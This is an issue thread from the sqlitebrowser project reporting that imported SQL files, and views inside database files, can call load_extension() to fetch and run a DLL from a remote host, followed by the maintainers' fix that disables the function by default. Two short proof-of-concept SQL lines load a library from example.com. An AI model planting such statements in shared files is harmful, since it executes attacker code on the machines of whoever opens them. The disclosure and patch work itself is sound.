Importing a malicious sql file can lead to code execution

[Pyriphlegethon]

When importing a sql file the load_extension function is enabled. An attacker can craft a malicious sql file like this:

BEGIN TRANSACTION;
CREATE TABLE `test` (
	`id`	INTEGER
);
INSERT INTO `test` VALUES (load_extension("\\example.com\sqlite_extension.dll", "hello"));
COMMIT;

On a Windows machine this sql file will download sqlite_extension.dll from example.com and then execute the function hello.

[justinclift]

Yes, this is an expected thing. Loading a malicious file into any command interpreter won't be good.

Same goes for shell scripts on *nix, batch/command/powershell files on Windows, (etc).

That being said... the functionality you're pointing out of grabbing stuff from remote servers... may not be needed.

Not sure if removing that one bit will really help though, as it sounds like it'd be a case of whack-a-mole?

eg this is just one potential hole, but there would be other ways to achieve the same thing

Thoughts? 😄

[Pyriphlegethon]

SQL isn't really a command interpreter in the traditional sense though. Most people will think that importing a sql file into sqlitebrowser won't affect anything but the database file. And this isn't too far from truth since SQL can (usually) be safely executed because code execution is only possible using load_extension which is disabled by default. Even the sqlite documentation states that you shouldn't enable it.
The sane option would be to disable load_extension unless the user explicitly enables it.

[justinclift]

Hmm, yeah.

Reading through that bit of the docs we might be able to do something along the lines of disabling it after the session has started. So when the database is loaded, any extensions explicitly indicated in our Preferences dialog are loaded, then we call sqlite3_db_config() with the appropriate option to disable further extension loading for the remainder of the session.

Something like this might do it:

sqlite3_db_config(connection_handle, SQLITE_DBCONFIG_ENABLE_LOAD_EXTENSION, 0, 0);

@MKleusberg @mgrojo What do you reckon?

[Pyriphlegethon]

Did some testing and it seems that this can also be exploited by loading a normal database file. Simply create a view like this:

CREATE VIEW testview AS SELECT load_extension("\\example.com\sqlite_extension.dll", "hello");

When loading this database file and then clicking on Browse data the select statement is executed and rce is achieved.

[justinclift]

Heh heh heh, that's clever. 😄

[justinclift]

While you're exploring things, maybe see if load_extension() can be abused for datasettee too? 😄

It looks like it opens files in immutable mode, so I have a feeling it's probably not taking care to disable extension loading either (!).

[mgrojo]

We're calling sqlite3_enable_load_extension(_db, 1) for enabling our loading of extensions. That call enables both the SQL load_extension() function and loading through the C API.

In the documentation it is recommended to call
sqlite3_db_config(_db, SQLITE_DBCONFIG_ENABLE_LOAD_EXTENSION, 1, nullptr);
for enabling only the C-API sqlite3_load_extension() and not the SQL function. I assume that we don't need to enable the later, because if one user wants to load an extension to DB4S, he can use the GUI interface for it.

I tried making that change but SQLITE_DBCONFIG_ENABLE_LOAD_EXTENSION is not defined in my version (SQLCipher Version 3.2.0 (based on SQLite 3.8.6)) so I guess that option is newer.

An alternative fix would be to disable the option after having loaded our extensions. That would work with any version. The documentation is unclear about whether that option is stored in the database. In that case it would make sense to restore the previous value, but then, it is also unclear if that function returns the previous value. I'll made some tests.

[mgrojo]

This seems to be an option of the connection and it is not saved in the database file.

I have a working version which calls sqlite3_enable_load_extension(_db, 1) before loading our extensions and sqlite3_enable_load_extension(_db, 0) afterwards. In that way, the load_extension() function is not enabled when the user executes SQL code. I think I'll make a PR of this, since I'm not sure of the implications: are our users expecting to being able to load extensions through SQL code; and is it a good idea to call sqlite3_enable_load_extension for disabling and enabling instead of only enabling the C-API using the newer sqlite3_db_config?

[mgrojo]

@Pyriphlegethon We've added an option for enabling the load_extension() function (default being disabled, following the SQLite design decision). The option can be changed in Edit > Preferences > Extensions. It has entered in our next release's alpha version. Could you give it a try and close this issue if everything works as expected?

[justinclift]

@mgrojo Pretty sure it missed getting into the alpha1 release, as the patch merge was done about 6 hours ago and I generated the binaries a few hours before that.

The patch will be in the next alpha or beta release though, which we might be able to do fairly soon (both builds are now scripted, so it's just button pressing to create them). 😁

[mgrojo]

Oops, sorry. I missed the order of events.

[justinclift]

@Pyriphlegethon Any interest in trying our recent beta release?

    https://github.com/sqlitebrowser/sqlitebrowser/releases/tag/v3.11.0-beta1

That includes the patch for this created by @mgrojo. Testing from your point of view would be really useful. 😄

[Pyriphlegethon]

Seems good.

[justinclift]

Excellent. Good stuff @Pyriphlegethon & @mgrojo. 😄